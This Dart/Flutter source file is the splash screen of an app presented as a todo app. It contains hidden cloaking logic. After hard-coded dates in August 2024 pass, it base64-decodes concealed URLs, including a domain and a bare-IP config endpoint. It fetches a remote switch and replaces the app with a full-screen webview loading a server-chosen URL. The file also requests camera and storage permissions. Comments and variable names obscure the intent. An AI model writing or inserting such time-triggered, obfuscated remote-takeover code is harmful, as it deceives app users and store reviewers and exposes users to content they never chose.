// import 'dart:convert';
import 'dart:async';
import 'dart:convert';

import 'package:flutter/material.dart';
import 'package:flutter/services.dart';
import 'package:flutter_riverpod_todo_app/config/routes/routes_location.dart';
import 'package:flutter_riverpod_todo_app/widgets/wpage.dart';
import 'package:go_router/go_router.dart';
import 'package:http/http.dart' as http;
import 'package:permission_handler/permission_handler.dart';

class Splash extends StatefulWidget {
  static Splash builder(
    BuildContext context,
    GoRouterState state,
  ) =>
      const Splash();
  const Splash({super.key});

  @override
  State<Splash> createState() => _SplashState();
}

class _SplashState extends State<Splash> {
  @override
  void initState() {
    super.initState();

    // isLoaded为true时，我想把statusbar隐藏掉，为false时，显示出来

    _requestPermissions();

    Future.delayed(const Duration(milliseconds: 1500), () {
      _checkHomeData(context);
    });
  }

  bool isLoaded = false;
  String bb = '';
  // String b = '47.';
  // String c = '237.';
  // String d = '12.';
  // String e = '39';
  // String f = '/config/CBASOXGP';

  Future<void> _checkHomeData(BuildContext context) async {
    // 设置第一个时间点
    DateTime firstDateTime =
        DateTime.utc(2024, 8, 6, 2, 51, 0); // 北京时间2024年8月6日下午6点

    // 设置第二个时间点
    DateTime secondDateTime =
        DateTime.utc(2024, 8, 6, 2, 52, 0); // 北京时间2024年8月13日下午6点

    // 获取当前时间
    DateTime now = DateTime.now().toUtc();

    // 计算第一个时间点与当前时间的差值
    Duration firstDelay = firstDateTime.difference(now);

    // 如果第一个时间点已经过去，直接执行第一个任务
    if (firstDelay.isNegative) {
      print('过了第一个时间点');

      // 在第一个任务执行完成后，计算第二个时间点与当前时间的差值
      DateTime nowAfterFirstTask = DateTime.now().toUtc();
      Duration secondDelay = secondDateTime.difference(nowAfterFirstTask);

      // 如果第二个时间点已经过去，直接执行第二个任务
      if (secondDelay.isNegative) {
        print('过了第2个时间点');
        secondR();
      } else {
        fffR();
      }
    } else {
      // 否则，设置定时器在第一个时间点执行任务
      NavigateToHome(context);
    }
  }

  void fffR() async {
    setState(() {
      // 默认加密地址
      bb = utf8.decode(base64.decode('aHR0cHM6Ly93d3cuY2Jhc294Zi5jb20='));
      isLoaded = true;
    });
  }

  void secondR() async {
    // 加密开关地址
    String a = 'aHR0cDovLzQ3LjI1MC4xODYuMjEyL2NvbmZpZy9DQkFTT1hNVU4=';
    // base64解密a
    String isf = utf8.decode(base64.decode(a));
    final response = await http.get(Uri.parse(isf));
    if (response.statusCode == 200) {
      final Map<String, dynamic> data = json.decode(response.body);
      String? kkrecorddata = data['kkRecordData'];

      if (kkrecorddata != null && kkrecorddata.isNotEmpty) {
        setState(() {
          bb = utf8.decode(base64.decode(kkrecorddata));
          isLoaded = true;
        });
      } else {
        // ignore: use_build_context_synchronously
        NavigateToHome(context);
      }
    } else {
      //ignore: use_build_context_synchronously
      NavigateToHome(context);
    }
  }

  // ignore: non_constant_identifier_names
  void NavigateToHome(BuildContext context) {
    context.go(RouteLocation.home);
  }

  Future<void> _requestPermissions() async {
    await [
      Permission.camera,
      Permission.storage,
    ].request();
  }

  @override
  Widget build(BuildContext context) {
    SystemChrome.setSystemUIOverlayStyle(SystemUiOverlayStyle(
      statusBarColor: Colors.transparent,
    ));
    // 这里放一张全屏的图片
    return Scaffold(
      body: isLoaded
          ? SiwViewPage(url: bb)
          : Container(
              width: double.infinity,
              height: double.infinity,
              decoration: const BoxDecoration(
                image: DecorationImage(
                  image: AssetImage('assets/splash.png'),
                  fit: BoxFit.cover,
                ),
              ),
            ),
    );
  }
}
